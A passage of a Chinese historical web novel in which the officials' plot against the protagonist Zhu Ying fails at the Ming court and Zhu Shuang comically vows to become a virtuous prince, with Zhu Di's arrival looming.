以方孝孺的性子倘若是知道这朱允熥出宫是老朱下的令,那他必然不会多说半句,是以齐泰为了让方孝孺能开口,也就采用了春秋笔法一顿渲染,着重说了一番朱允熥入住朱煐家中,而省略了老朱的态度,只是用了模棱两可的,‘或许不知’,‘或受蛊惑’等词。 两人只是让方孝孺打头阵以此来吸引老朱的注意力,而眼下方孝孺的作用已经发挥,自然也就轮到两人开口了。 齐泰当即出列开口:“陛下,方大人虽然不知全貌,可有句话说的好,这皇孙不住东宫却住朱御史家中,于礼不合啊!” “是啊陛下,臣也觉得此举不妥。” 黄子澄也当即跟着站了出来:“方大人固然是不知全貌,可这天下人也是不知全貌啊,方大人今日所言或也成天下人心中所想,这众口铄金,三人成虎,陛下自可在朝中与方大人讲清楚其中的关系,可又如何与天下人解释?” “允熥皇孙倘若不住东宫住在朱御史家中,哪怕朱御史家离宫门近,却也是遭人话柄,惹人非议,颇为不妥。” “此举不光对允熥殿下的名声有损,也有损朱御史的声名,陛下也曾言说朱御史乃是大明肱股,如此肱股之臣,若是声名因此受损,岂不惜哉?” “黄大人所言甚是,陛下允熥殿下虽然性子柔了些,可培养允熥殿下也并非一定要住朱御史家中啊,莫不如让允熥殿下继续住东宫,让朱御史时常入宫教习,如此也能起到一般无二的效果,且此法既不损朱御史的声名,亦不损允熥殿下名声,还请陛下三思!” 黄子澄说完齐泰说,两人一言一语,一口一个方大人说的对,方大人思虑周全,拿着方孝孺当挡箭牌劝谏老朱。 两人深知老朱的脾气,劝谏亦以柔为主,反倒是与方孝孺形成了强烈的反差,如此一对比,反倒是显出了两人识大体了.... 而随着黄子澄和齐泰说完,文官集团齐齐拜倒:“臣等请陛下三思!” 老朱坐在龙椅上看的分明,他执政二十多年了,这朝中的事,官员们的想法,他的心里大都有个数,眼下的局面或许寻常人看不清楚,可老朱心里却是门儿清。 不过他没有开口,而是转而看向了朱煐所在的方向。 而这会儿的朱煐哪里有半点暴怒失智的样子?他一脸玩味,目光在黄子澄、齐泰和方孝孺以及众多大臣的身上游走,显然他也看出了其中的端倪。 历经八世,尤其是穿越大唐那一世,在朝为官多年,什么场面也都见过了,当齐泰和黄子澄一开口,朱煐就意识到了这背后的真正始作俑者。 显然,这性格刚正的方孝孺被人当枪使了...... 看到朱煐脸上玩味的表情,老朱先是一愣,旋即心中暗暗叫好。 “好好好,不愧是咱孙啊!” 这表情显然是看出了这其中的猫腻。 而这,也是老朱心中甚喜的原因。 自己能看出这局面中的门道那是因为自己执政多年,这才能看出来这其中的弯弯绕绕,可乖孙也能看出来,这就不容易了,这说明什么?这说明咱孙有天赋啊! 除了天赋,还能作何解释? ........ 老朱心中暗喜之时,忽然一道熟悉的声音突的响起。 “陛下!” 瞬间,奉天殿上所有人的目光在这一刻全都齐刷刷地落在了此刻再度开口的方孝孺身上...... 而看着方孝孺,老朱也不由皱了皱眉头。 被人利用算不得什么,只能说别人的手段更加高明,可眼下明知被人利用却要一条路走到黑的话,那..... 老朱传召方孝孺入京本就是想着给后辈留点人才的,但现在的方孝孺的表现却让老朱有些不满..... “怎么?你还要参朱御史吗?” 老朱的声音有些发冷,态度也不复之前的热情。 方孝孺面色不变,直面老朱道:“启禀陛下,臣并非要参朱御史,臣要与朱御史赔礼。” “臣误听他人所言才于今日在殿上大放厥词,不曾允熥殿下出宫乃是陛下所想,既如此,便是臣冤枉了朱御史。” 说着方孝孺眼神看了齐泰一眼。 齐泰和黄子澄面色齐齐一变,暗道不妙。 两人本以为方孝孺哪怕是知道了被算计,也只会一条路走到黑,毕竟方孝孺在士林之中也是有些名声的,总不至于脸面不要当朝推翻自己的谏言吧? 可眼下的局面..... 这方孝孺不光全面推翻了自己的上奏谏言,还他娘的主动道歉了! “朱御史,此先所言是方某不对,还望朱御史见谅!” 方孝孺面不改色地冲朱煐躬身道歉,而这一顿操作也是把朱煐看愣住了..... 不光是朱煐愣住了,此刻全场文武百官全都愣住了..... 而原本皱眉的老朱此刻看向方孝孺时,眉头又再度展开。 “知错便改,咱倒是未曾看错。” 方孝孺性格刚正,即又刚又正,只要他认为对的,那就会奋不顾身去做,而同样,他认为错的,也会奋不顾身。 谁也未曾料到方孝孺竟是当朝道歉,丝毫不在乎别人的眼光。 而此刻的齐泰、黄子澄乃至朱允炆的脸色都不由难看了起来....... 第38章 朱老四要入京了? “陛下,臣听信小人谗言,中伤朱御史,还请陛下降罪。” 方孝孺说罢竟是直接跪到了地上请求老朱降罪。 齐泰、黄子澄、朱允炆的脸色更难看了..... “此事咱降不降罪的不打紧,朱御史,你怎么看?” 老朱说着看向朱煐。 朱煐看着跪在地上的方孝孺,也是大开眼界。 这厮还真是个直肠子,认死理啊,发现自己被坑了常人或许还顾虑着脸面如何,可这家伙直接就是头铁反水,不愧是历史上有名的狠人! “陛下,臣觉着既然方大人是被人蛊惑,误信他人之言,方才也已经道歉,那便如此吧,臣也没有那般小气,并非小肚鸡肠之人。” 朱煐对此倒是并不在意,他的目的已经达到,左右因为此事与朱允炆一方更加势同水火,日后等朱允炆这小子登基,以他记仇的性子,想必自己都有可能因上朝右脚先迈入大殿而被诛杀。 倘若能够如此的话,那可就太好了。 眼下的朱煐并不着急,在刚开始的求死不成之后,朱煐已经逐渐冷静,既然不能求得速死,那就徐徐图之,慢慢铺垫。 大明开国后的前三任皇帝无外乎老朱、朱允炆、朱棣三人,但凡是读过历史的都知道,既然知道了这一点,那就容易了。 首先便是老朱,虽然老朱的性格有些古怪,与明史中记载的暴虐好似全然不同,这丫的反倒宽厚得非比寻常。 朱煐猜测有或有两种可能,其一是满清修明史的史官对明史进行了艺术加工,以至于老朱原本宽厚仁和的形象在他的笔下变成了暴虐嗜杀。 其二也有可能是老朱城府颇深,在酝酿着什么大阴谋,就比如....蓝玉案! 在明史记载中,蓝玉案在爆发前并无其他太多的征兆,老朱出手非常迅猛,异常果断,没有给蓝玉留下半点的反应时间。 这些日子朱煐也在思考,或许是因为自己的出现点破了蓝玉此刻的窘境,于是老朱改变了策略,准备先安定朝堂,再行动,于是城府极深的老朱一改常态,成了一只笑面虎。 对此,朱煐决定施行两步走计划。 针对第一点,倘若老朱本身的性子便是宽厚仁和,那自己就不断在老朱心中给老朱留下一些坏印象,一个人的性格哪怕再好,也经不住不断地消磨,等老朱的耐心什么时候消磨没了,那自己也就离死不远了.... 而针对第二点,这就更简单了,还是需要和蓝玉加深联系,这和凉国公府,老蓝的关系不能断,并且要更加紧密才是,对于自己求死而言有利无害。 倘若如此还不能功德圆满,那就得靠大明的第二任皇帝朱允炆了。 大名鼎鼎的建文帝脾气可一般,这几日和朱允炆接触下来朱煐明显感觉到了这一点,并且确定了一点——这小子爱记仇! 这就妙极了。 只要往死了得罪这未来的建文帝,想必也会给自己满意的结果。倘若在老朱手上不得圆满,也能在朱允炆这小子身上得偿所愿。 不过朱煐向来做事稳妥,光有朱允炆这一手底牌尚且不够,朱棣也在朱煐的计划之中..... 朱允炆脾气差心眼小,可在位时间短啊!万一这厮只是准备干自己,但没有立刻干死自己,亦或是这其中又出现了什么变故,那就得靠着大明未来的第三任皇帝,朱老四了! 而对此,朱煐也做了谋划。 眼下朱老四应该在进京的路上,朱煐心中已然下定主意,一定要趁着朱棣入京的这段日子,好好干一票大的,给这位日后的永乐大帝留下一个刻骨铭心,终生难忘的印象! 也未有如此,才能让他真正记住自己,等日后登基,又是一记底牌。 ...... 朱煐思绪纷飞间,方孝孺已经调转了枪头开始与黄子澄、齐泰等一众文官唇枪舌战。 方孝孺并非是谁的支持着,他是汉中府教授,一直都在汉中府,并非身处朝堂,无论是朱允炆还是朱允熥,谁当皇储对他而言并不重要,他也并不想偏向谁,他只觉着老朱想让谁当皇储便让谁当皇储,也从未想过插手。 可出了今天这么一档子事之后,方孝孺心中怒气值是爆棚的。 任谁被平白无故当枪使算计了一手都无法做到心平气和,平心静气,更别说方孝孺这样的铁头娃了。 他当即站在了朱允炆的对立面,口绽莲花,舌战群儒,那一副不怕死的劲儿,让一众官员一阵头疼。 黄子澄和齐泰看着头比铁硬的方孝孺脸色已经黑的不行。 他娘的,流年不利啊,这怎么净碰上些不怕死的东西..... 看看朱煐看看方孝孺,黄子澄和齐泰感觉人麻了.... 拿方孝孺当枪使的时候两人只觉着用得顺手,好使,可这被枪反捅的时候,谁疼谁知道...... 老朱乐得看着这一幕。 朱煐本是局中人,可被方孝孺这么一冲锋,他反倒是成了火力边缘,当起了旁观者。 朱樉默默看着,未曾言语,只是观察着朝中的局势。 他的行为举止与此前全然不同,他的心中有了志向,想当大明的贤王,而这会儿......他正在学习怎么当一个贤王..... ..... 争论了一上午也没有争论出个结果。 事实上也不需要结果,暴走的方孝孺所爆发出来的火力远超了所有人的预料,甚至也远超了朱煐的预料,哪怕他读过史书,知晓方孝孺这厮的嘴巴厉害,毕竟能把堂堂永乐大帝气的诛其十族的,又哪里会是简单的选手? 虽然说是争吵,但实际上就是方孝孺针对黄子澄和齐泰以及文官集团的单方面怒喷,虽然文官集团的人数众多,可在方孝孺的嘴炮面前,依旧是黯然失色。 朱煐也领教了一番这大明第一大喷子的风采,那骂人骂起来是真脏啊!怕是孔明再世也难与这方孝孺媲美,毕竟诸葛亮言语用词还是讲究的,可方孝孺喷人,那嘴是真臭,什么话都往外蹦,只把文臣集团全给喷的脸色发青..... 最终还是时辰到了,老朱看戏看累了才叫停方孝孺。 方孝孺有种尚未尽兴的感觉。 大朝会结束。 与往日三五成群聚在一起谈天说地议论纷纷不同,今日的文官集团的官员们一个个脸色难看匆匆离去,包括朱允炆这个文官集团的所支持的头头也是觉得脸上无光。 老朱离开了之后奉天殿内的气氛也就没有那么严肃了。 朱允熥的心情倒是很好,原本刚开始的时候朱允熥听朱煐被奏还很是担心,一来担心朱煐,二来也是担心自己,他怕自己又回到东宫。可他的性子懦弱,不敢开口,只能眼巴巴地看着朱煐希望朱煐能力挽狂澜。 结果没想到朱煐未曾力挽狂澜,反倒是意识到自己被坑了的方孝孺当殿反水爆发出了令朱允熥惊叹的战斗力,直接喷了那些为难自己的文官们一个狗血淋头,喷了整整一早上..... 这让朱允熥的心情一阵大好,见老朱离去之后朱允熥赶忙凑到了朱煐身边,想跟着朱煐回家,他从小到大都在这宫中长大,可在这宫里他却感觉哪儿哪儿都不自在.... ..... “朱御史!” 朱允熥走到朱允熥身边,脸上满是笑容。 “殿下。” 朱煐也给了朱允熥回应,这会儿他算是朱允熥一方的人,他要在大庭广众下与朱允熥多加交流,如此才好传入朱允炆的耳中,日积月累一些恶意。 两人刚要攀谈,却不曾想这会儿方孝孺走到了近前。 “见过殿下。” “朱御史。” 方孝孺同朱允熥和朱煐打了个招呼。 “方大人神威盖世,今日舌战群儒,怕是该名垂千古了。” 又是一道声音传来,却是张平满面春风笑呵呵地走到了朱煐身边,朱煐和朱允熥尚未开口,张平倒是先与方孝孺说上了..... 方孝孺老脸一红。 “汗颜,被人当了枪使。” 老方说话很是直接,不像黄子澄等人文绉绉的,或许也是和他久不在朝堂,身处地方有关。 “殿下,朱御史,今日之事还望见谅,此前方某并不知晓此乃陛下主动提出,误以为朱御史蛊惑殿下令殿下出宫。” “他们便是这么和你说的?” 张平瞪大了眼睛。 方孝孺点了点头。 张平听闻后不由咂舌:“人心不古,人心险恶啊。这一个个看着人模人样的,下手也忒黑了!” “老大,你可真招人恨啊!” 朱煐一脸正色道:“不招人妒忌的是庸才,兵来将挡水来土掩而已,更何况还是陛下圣旨,我有何惧?” “他们明知是陛下的命令,还整这么一出是作甚?” “他们是想以方某为矛,之后委婉劝谏,若成一切皆好,若不成,方某自然也就扛下了所有,当真打得好算盘。” 方孝孺冷声道。 这也是他愤怒的原因,这是全然不把他的性命当一回事啊! 他方孝孺不怕死,可却不愿是这种死法! 死有轻于鸿毛有重于泰山,被人坑死,方孝孺想到这额头便多了几道黑线..... 他从少时便有志向,要做那名垂青史之人,要匡扶社稷,万世留名。 倘若是就这么被坑死,留名是留名了,却是个蠢货的名。 这触了他的逆鳞! “不过方大人如此一来倒是得罪了不少人啊,日后怕是在京中举步维艰,倒是不妙。” 张平一脸为方孝孺担心的模样。 “一群鼠辈,何惧之有?” “我心为正,则无所畏惧。” 方孝孺说的这话顿时让朱煐咂舌。 老方,不愧是你啊! 这能让朱老四诛十族的人,果然非同凡响! “好!” 却不曾想此时一旁的张平却大叫了一声。 朱煐看向张平,心中疑惑。 这家伙今天有点反常啊。这往日的话也没有这么多啊.... 今天这家伙的话格外的多,而且频频与方孝孺搭话,这是要做什么? “方大人此言,与我老大所言倒是有异曲同工之妙,我老大曾言,为官一任,何惜此身,再看方大人你这嫉恶如仇的性子,倒是与我等是同一类人。” “所谓一人计短,三人计之长,方大人虽不惧那些个鼠辈,可终究鼠辈人数众多,又阴险,精于算计,方大人孤身一人怕是容易着了道,不如跟着我们混如何?” “对手的对手就是朋友,不知方大人可愿认下我与老大这个朋友?日后也好守望相助!” 张平说出这话之后朱煐方才恍然。 合着这家伙是打的这个主意..... 朱煐看向张平,恰好张平也看向了朱煐,此时四目相对.....张平给朱煐使了个眼色,仿佛在邀功..... 朱煐:“......” 这他娘的,都叫什么事儿啊.....这小弟给我找帮手? 可我....不用啊.... 朱煐本想阻止,可这又转念一想,便不再做声..... 这要是找别人当帮手,或许没有那个必要,可方孝孺..... 方孝孺和不是个本分人啊..... 这刚一入朝,第二天就已经得罪了几乎所有的文官集团,想来以他这一张嘴,得罪满朝文武那就是时间早晚的问题,这要是这样的人和自己是朋友,那日后......大有裨益!大有裨益啊! 想到此处,朱煐不由露出了笑容看向方孝孺:“志远所言正是我之所想,不知方大人如何考虑?” “今日见方大人你于朝中大展风采,颇有种志趣相投之感,倒是亲切。” 方孝孺先是一愣,旋即一笑:“看来日后得去朱御史府上多多叨扰了......” ....... 就在朱煐和方孝孺正在攀谈的同时,老朱这头,也收到了一封消息...... “哼!” “这臭小子还知道应召?” 御书房里,老朱冷声哼道。 他手上拿着的正是一封家书,家书是朱棣亲笔所写,所谓人没到请罪书先到,朱老四这一招算是高明得可以。 书信上先是一阵诉苦,说镇守边疆多么辛劳,又提及对老朱有多么想念,再就是本想出发偶然重病,只好半路停下从医,眼下重病初愈便马不停蹄赶来,即将入京....... 第39章 父与子 老朱正端详着朱棣送来的信件,就在这时,蒋瓛忽然进来。 “启禀陛下,秦王在外求见。” 蒋瓛的上禀让老朱不由一愣。 “老二来找咱做什么?” 蒋瓛顿了一下小声提醒道:“陛下,自秦王入京您还没单独会见过他.....” 老朱这才一拍脑门恍然道:“还真是!咱倒是把这一茬给忘了,这些日子净念着雄英的事儿,倒是把老二是刚入京给放在了一边,行吧,既然如此,那就让他进来吧。” 蒋瓛:“.....” 对于老朱的话蒋瓛无言以对,不过身为老朱的心腹他也知道朱煐这位皇长孙被老朱找到之后老朱有多么高兴,失而复得的感觉,还是失去了八年,又恰好在太子朱标去世的这个时间点被寻到...... 朱煐身上不光有老朱原本对于长孙朱雄煐的喜欢,还有对去世朱标的感情,这种情感难以言表但却是毋庸置疑地深厚..... ...... 得了老朱的口谕之后蒋瓛将早就在门外候着的朱樉给带了进来..... “儿臣拜见父皇。” 朱樉刚进来就给老朱见礼。 “行了,起来吧,你何时私底下见咱这般知礼了?说吧,是不是又犯了事,想让咱给你遮掩?” “咱早就料到了,想来你是担心入京之后咱找你算账,没出息的东西,就这么点事情也值得单独来找咱请罪?你.....” 面对朱樉的老朱和面对朱煐时候可全然不同,老朱训儿子那是滔滔不绝,见面了就是一顿教育。 态度也是俨然不同,相较于对朱煐的和蔼可亲,此刻的老朱俨然是一副严父的模样,几乎就是指着朱樉的鼻子训斥。 事实上老朱心里对朱樉这几个儿子也是颇为不满。 大儿子去世,传召几人入京,结果这几个臭小子居然一个个都推辞,都不入京? 这是在担心什么? 从皇帝的角度看,老朱觉得几人是该畏惧,可从一个老父亲的角度看,老朱心里要说没气是不可能的。 虎毒尚且不食子呢,这几个臭小子是觉得咱会杀了他们? 咱在他们眼中就这般不堪? 这么一想给老朱气得够呛。 更何况,咱就是想杀,那也是光明正大地杀,这几个臭小子这质疑的是咱的人品啊! 是以老朱对朱樉存着怨气,只是好在朱樉是第一个入京的,也算是让老朱有一些欣慰,毕竟与老三朱棡和老四朱棣等有了对比,这一对比,就显得朱樉做的更好了。 当然,这欣慰也没有多少,因为老朱考虑到了自己这二儿子的性子。 或许不是因为他想第一个入京所以才第一个入京的,或许只是因为这臭小子的脑子没有他几个弟弟的脑子好使,耐心也没有那么多,因为忍不住了冒险才入了京..... 这种可能性要是换到其他人身上,可能性都不大,可偏偏落在朱樉身上,老朱觉得这混蛋大有可能就是如此!自然老朱对朱樉没有什么好态度。 然而朱樉的表现却大大出乎了老朱的预料。 老朱本以为朱樉在被训斥之后会跳脚,就像是被踩了尾巴的猫一样,然后用拙劣的话术进行撒谎反驳,事实上朱樉以往也都是一直这么干的,这一套操作老朱已经十分熟悉了。 朱樉没耐心,又耿直,脾气暴躁,喜欢练武不喜欢读书,这每一个点都几乎踩在了老朱的雷点上,让老朱很是不满..... 老朱以为这次朱樉也会和之前一样,可没想到在他训斥了一阵之后,朱樉竟是一言不发,老朱这反而心里奇怪了,停下嘴来好奇地打量着朱樉:“怎么了?今天哑巴了?” 老朱没好气地嘲讽道。 “父皇说的对,儿臣知错了。” 朱樉低头躬身认错。 “什...什么?” 老朱眼睛一瞪,看着眼前低头认错的朱樉,整个人都不禁愣住了..... 老二认错了? 这怎么会? 要知道在这么多个儿子里面,朱樉的脾气是最臭的,也是最嘴硬的,以往就算是认错那也必然是自己要先打一顿才会不情不愿的认错,可眼下这是怎么了? 老朱觉着其中有着自己所不知的隐情,当即面色一肃。 忽然,他好似想到了什么.... 老朱面色骤变,语气有些迟疑地看着朱樉..... “老二,你....你莫不是当真病了?” 要按照自己这老二的脾气,要是正常情况下面对自己的训斥决计不会是这种反应,这种反应异于往常,不符合他的脾气性子。 事出反常必有妖!老朱忽然想到了一种可能,那就是朱樉病了,而且是绝症! 莫不是人之将死其言也善? 老朱的脸色唰的一下变得煞白,心跳都加快了,他眼睛盯着朱樉,心中却是如遭雷击,亲儿子,虽然表面上态度不怎么样,可心里难不成当真能够做到不在乎吗? 老朱刚失去了一个最疼爱的大儿子,眼下要是再失去一个二儿子..... 老朱的眼睛死死地盯着朱樉..... 而此时的朱樉却是一脸惭愧道:“父皇恕罪,儿臣并未患病,先前称病只是一时糊涂,以此为借口拖延时间入京而已。” “唉....” 听到朱樉这话,老朱却是叹了口气。 他的眼中满是伤感和颓然。 “老二,有病就直言吧,为父还扛得住,眼下最好的大夫都在宫中,咱让他们给你治,兴许有救。你放心,咱挺得住!” 老朱的眼里泛着泪花。 在他问出心中疑惑的时候对于朱樉的反应就有过预料,倘若朱樉反应和往常一般无异,那就是确实没病,可朱樉的反应却是老朱最不想看到的..... “父皇,我真没病啊。” 朱樉被老朱的话说的一愣,有些着急地解释道。 可老朱压根不信,摇了摇头:“你定然是病了,是不治之症。放心说吧,为父眼下已然知晓,这不还挺得住吗?不用担心。就算是治不好,也能陪你走最后一程。” “????” 朱樉顿时人麻了..... “不是啊父皇,孩儿当真没病啊,您这又是从哪里得来的消息?此人定然心怀不轨啊!” 朱樉确实是急了。 老子这好好的站在这儿呢,力气大的能打死一头牛犊,这怎么就得了不治之症了? 中伤!这他娘的是有人恶意中伤啊! “这还用从哪里得来的消息?你有病没病咱一看便知,知子莫如父,行了老二,你就老实说吧,咱能接受。” 老朱现在心情有些难以言说的酸楚,刚没了一个大儿子,眼下又要没一个二儿子吗?白发人送黑发人啊...... “父皇,儿臣当真没病啊!” “????” “还不同咱说?” 老朱看着眼前的朱樉皱眉。 “父皇,这怎么就和你说不清呢?要不这样,你喊蒋瓛和儿臣练练,看看儿臣的身手。” “要不儿臣给你把门口的大石狮子给扛进来?” 朱樉被逼急眼了,也顾不得什么礼貌不礼貌了,开口就是想要证明自己的体格没问题。 老朱一愣,旋即笑了。 他从未感觉到过眼前这动不动就要找人练一练的朱樉是如此地可爱。 这才是咱的老二么! “当真没病?” 看朱樉恢复正常老朱也有些不确定这丫的到底有病没病了..... “没病没病没病!父皇啊,到底是哪个乱臣贼子胡言乱语的?儿臣这就拧了他的头来!” 朱樉人麻了,好不容易想当个贤王,刚学了点礼仪,想着能让自己的形象更高大一些,更文气一些,更有格调一些,结果这下倒好,一急眼又原形毕露了..... “哈哈哈哈哈,没病就好,没病就好啊。” “可吓死咱了。下回可别行这般古怪行径了啊,咱年纪大了,经不住你这般吓唬,当了一辈子的武夫,这会儿忽然文绉绉的了,咱还以为你得了不治之症了呢。” 老朱拍了拍胸口,有些恼怒。 这老二,净整些这有的没的,害得自己都误会了..... 朱樉脸色一苦,他这才知道究竟是哪里出了问题,合着是因为自己太讲规矩和礼貌了,反倒是让老爷子给误会了..... “父皇,儿臣这不想着当贤王得有个当贤王的样子吗?要像以往那般,传出去,怕是不好听。” 朱樉罕见的有些扭捏,他如今立志要当大明第一贤王,不负老爹所托,这辈子就没有被老爷子这么重视过,没想到这都大半辈子过去了,忽然被老爷子给重视了,被重视的感觉,还怪让人不好意思的..... “当贤王?就你?” 老朱一愣。 朱樉也是一愣:“不是父皇您让儿臣当贤王的吗?” “咱何时说过让你当贤王了?” “不是父皇您的意思?那朱御史他说....” 朱樉话还没说完就被老朱给打断了。 老朱忽然想明白究竟是怎么一回事了。 朱煐府中发生的事情老朱自然是知道的,只是平日里老朱要处理的事情太多,以至于一下没有想起来究竟是怎么回事,可听朱樉这么一说,老朱就想起来来龙去脉。 于是他当即打断朱樉:“咱的意思是让你往这个方向努力,还有,不要光做表象,这贤王贤王,他的重点是你这些古怪的行径吗?那是要为大明真正做事的!” “行了,你要不懂的话就多和朱煐那小子聊聊,他都比你懂。” 老朱反应过来之后直接给自己的话打了个补丁。 而朱樉一愣之后也是恍然。 还真是! 还真没说过眼下自己就是贤王,先前朱御史说的也是让自己日后要当大明贤王..... 看来父皇对于现在我的表现还不是很满意,只是看中了我的潜力.... 不过饶是如此,对于朱樉的鼓舞也是十分大的,当即朱樉两眼放光,跃跃欲试。 贤王? 日后本王一定能做到! 哦不,当贤王便要从先在开始! 本王当事事为我大明考虑! 当即朱樉神色一肃:“父皇,儿臣已然明白!” “父皇良苦用心,儿臣感动不已!” “不瞒父皇,儿臣今日前来有要事与父皇相商!” 见糊弄了过去,老朱松了口气。 看着眼前满脸热忱的朱樉老朱忽然觉着,貌似....眼下这般也不错? 怎么以往没发现老二还有这癖好? 喜欢当贤王? 看这样子,还真是认真了? 老朱知道朱樉究竟是处于什么状态,身为朱樉的亲爹,老朱对自己的这个不听话的儿子太了解了,是不是认真一眼就能看出来。 “要事相商?什么事?” 要换成以往的朱樉和老朱说有要事相商,老朱敷衍都懒得敷衍,直接能让这混蛋从哪儿来滚回哪儿去,可眼下老朱却是主动开口。 他准备给自己的这儿子一点点小小的鼓励,毕竟这做戏做全套,再者,好不容易儿子学好了,自己这当爹的,总也不能打击他的积极性吧? 换成以前或许老朱不会想这么多,只是太子朱标的去世以及长孙的失而复得让老朱这些日子以来心中思虑良多,对于家人更加看重了..... 心态上的变化也反应到了老朱的行动上.... “父皇,儿臣思虑了许久了,这些日子也看了不少的史书,儿臣以为,眼下大明,有一事不得不防!” “哦?谁?” 老朱眉头一挑。 这老二,没想到还真是下功夫了,这些日子以来居然都看起史书来了? “藩王!” “父皇,这藩王之患,不得不防啊!” “父皇眼下年岁也不小了,父皇在世时自然是无妨,可儿臣该为往后计,倘若哪天侄儿上位,侄儿年幼,这藩王在外,怕是有祸。” “尤其是老四!虽然儿臣与老四向来不和,可不得不说,这混蛋鬼点子多,有能力有才干还有心思,城府也深,儿臣和老三加起来常常都在他手下吃亏,倘若大哥在,那老四自然不敢如何,可若只是侄儿.....儿臣觉着,咱们当长辈的,还是该未雨绸缪一些,帮一帮后辈.....” “父皇,儿臣觉着此次入京就是个好机会,不如就把老四给留在京城?” 朱樉言之凿凿,一脸认真。 老朱面色古怪地看了眼自己的这儿子..... 藩王之患不得不防? 你自己也是藩王啊.... 看来这混小子是真想当这大明贤王啊..... 老朱有些无语,他想不明白,怎么从小到大一直都喜欢舞刀弄枪征战沙场的二儿子,居然对当贤王这么感兴趣,按照这混小子以往的行径,他的目标不该是当大将军吗? “父皇,您以为儿臣此计如何?” 朱樉的言语间充满了激动和兴奋。 此乃他当贤王的第一步,为亲爹献上的治国良策之第一策! 想来千古之后将沦为美谈,后世谈及将会有记载——【大明秦王朱樉,年少不羁,后遂改之,成贤王,献良策,策一:燕王之患,是为良策,洪武帝纳之解此隐患。后人谓之大贤!】 第40章 张志远话朱煐 老朱有些无语地看向朱樉。 这臭小子,老四还没到京城呢,就已经开始谋划按算老四了,还真是一心为国啊..... 老朱又想起了自己的大孙子,想到朱樉这一系列的变化都是因为自己的大孙的一番劝说才导致的,心中不由得有些怀疑人生了。 要知道从小到大自己没少劝老二,棍棒加身他尚且不知悔改,结果大孙这么一劝,就又了如此大的变化。 难不成......咱孙还有咱所不知的能耐? 见朱樉煞有其事地提到朱棣,老朱也不由想起了自己的这个四儿子,老四朱棣,确实出众,要说起来,他是最像自己的。 若非他是老四,大明又需要承平文治,说不得也是个不错的继承人选。 不过现在有了大孙....那老四就得靠边站了..... 老朱仔细想想,觉得朱樉所言也并非全然没有道理,虽说都是自己的儿子,可从一个皇帝的角度来看,这藩王之乱不得不防,尤其是老四还这般出色..... 大孙登基的话,尚且年幼,不一定能完全压服老四,若是不能压服,那两边爆发起冲突.....老朱不想看到儿子出事,也不想看到孙子出事,更不想看到老朱家相互征伐血流成河..... “此事咱自由考虑,先不急,且先等老三和老四入京来吧。” 老朱没有直接说什么,不过言语间的意思已经很明显。 朱樉当即松了口气,同时眼中却又闪过精光! 果然,自己是有当贤王的资质的!只要自己认真考量,谏言还是会被父皇所采纳!而且..... 父皇对自己的态度好像确实有了不小的改变,若是以往,自己说什么父皇都只会否决,而非采纳,而眼下却采纳了自己的谏言..... 朱樉的心中更加确定了一件事,他认为自己猜对了,朱煐的背后就是老朱!而朱煐所言,就是老朱授意,那自然,自己按照其顾虑针对性地给出谏言,采纳的概率自然也就高了.... “父皇如此委婉让我当这贤王,想来是大明之局当真到了危难之际!” “大哥故去,朝中争斗不休,老四在外虎视眈眈,北元陈兵北疆,海上还有海寇作乱,南边的土司蠢蠢欲动,江南士族亦是跃跃欲试,此大明危急存亡之秋也,父皇今委以我重任,我自该当不负所托!” 朱樉的眼中爆发精芒,他感觉自己的思路从未有如此清晰过..... “行了老二,你下去吧,今天说的不错,学会用脑子了,日后给咱多动脑子,迷途知返什么时候都不晚。” 老朱照常地给了朱樉一棒子,不过考虑到他终于有了一个正确的目标,且不说他能不能达到,至少目标在老朱看来是不错的,再加上这些日子以来老朱对儿孙心思上的变化,于是就在给了一棒子之余又夸赞了一句,算是打一棒子再加一颗甜枣....... 而这番话落到朱樉的耳朵里却又全然不同........ 老朱话音刚落,朱樉的两眼就不由得放光,眼前一亮,心中狂喜! 他自动忽略了老朱的训斥和嘲讽,就听到了那一句——今天说的不错! 六个字,不断回荡在朱樉的脑海里....... 训斥的话朱樉听多了,他自动免疫了,可这夸赞的话,从小到大,可从未听过几次啊! “父皇....当真夸赞我了!” 一句话,让从小到大都以叛逆示人,以求博得老朱的认可和关注的朱樉彻底破防了! 这不仅仅是一句夸赞,更是对自己的认可! 这一刻,朱樉也不由得认真了!他的神色一肃,恭恭敬敬地冲老朱行了一礼:“父皇且安心,儿臣一定替您看好这大明,看好朝廷和这天下!” “儿臣告退。” 说完朱樉径直退下,而这临走前的这一番操作却看呆了老朱..... 老朱顿时就愣在了当场..... 片刻之后老朱反应过来,顿时脸色一黑...... “他娘的混蛋玩意儿!咱还没死呢!什么叫做替咱看好这大明?咱不会自己看?” 老朱想发火给这口无遮拦的二货来上一顿竹笋炒肉,可却发现朱樉早已昂首离开了御书房。当即无奈,只好独自憋气郁闷..... “陛下,秦王殿下又惹您生气了?” 蒋瓛走到老朱近前见老朱有些余怒未消不由小心开口..... 老朱摆了摆手:“比以往倒是好多了,也算是学好了,由他去吧。” 说着老朱转怒为喜,笑道:“还是咱大孙有办法,老二这榆木疙瘩都被他给教好了,当真是上天给咱大明的福星啊。” “自然是天佑大明,天佑陛下。” “哈哈哈哈哈。” “蒋瓛啊,你什么时候也学会拍咱马屁了?” “陛下,臣可从来不会拍马屁,臣说的句句都是肺腑之言啊。” “行了行了,咱没有怪罪你的意思,老四那边算算日子应该也快入京了,你盯着些,还有咱大孙,你盯仔细了,有任何事情随时和咱汇报,要是有人对咱大孙出手的话,可以先斩后奏!” “是陛下!” 听了老朱的话蒋瓛的眼中大亮,心中思量着怎么和这未来的天子再亲近亲近..... 这一朝天子一朝臣的,旁人尚且不知未来天子是谁就都已经开始押宝欲夺那从龙之功了,自己这除了陛下之外唯一知晓未来大明天子的,又岂能畏畏缩缩不发一言? ...... 朱樉入宫阐述了自己要当大明未来贤王的理想。 而与此同时,方孝孺与张平一见如故,张平这小子拉着方孝孺就同朱煐一起回了府,那是半点也不见外。 “老方啊,你与我同老大当真是同道中人啊!今日你朝堂上的表现,我张志远认可!” “你初入京城,想来还不知我老大的事迹吧?” “这....”方孝孺不由看了眼一旁的朱煐。 朱煐笑了笑,给方孝孺随手倒了杯茶。 “都是些不值一提的事。” 朱煐摆了摆手。 “老大,你那些事儿要是不值一提,那这朝堂上就没有值得一提的事情了。”张平大呼。 方孝孺不由好奇地看向张平:“朱御史的事迹方某倒是略有耳闻,听说是性格刚直,言辞激烈,直面陛下而不屈,直面群臣而无惧。不过这具体的事迹倒是未曾听说过,毕竟昨日才刚到京都,还请志远老弟解惑。” 方孝孺的年纪比张平大不少,称一声老弟倒是恰当。 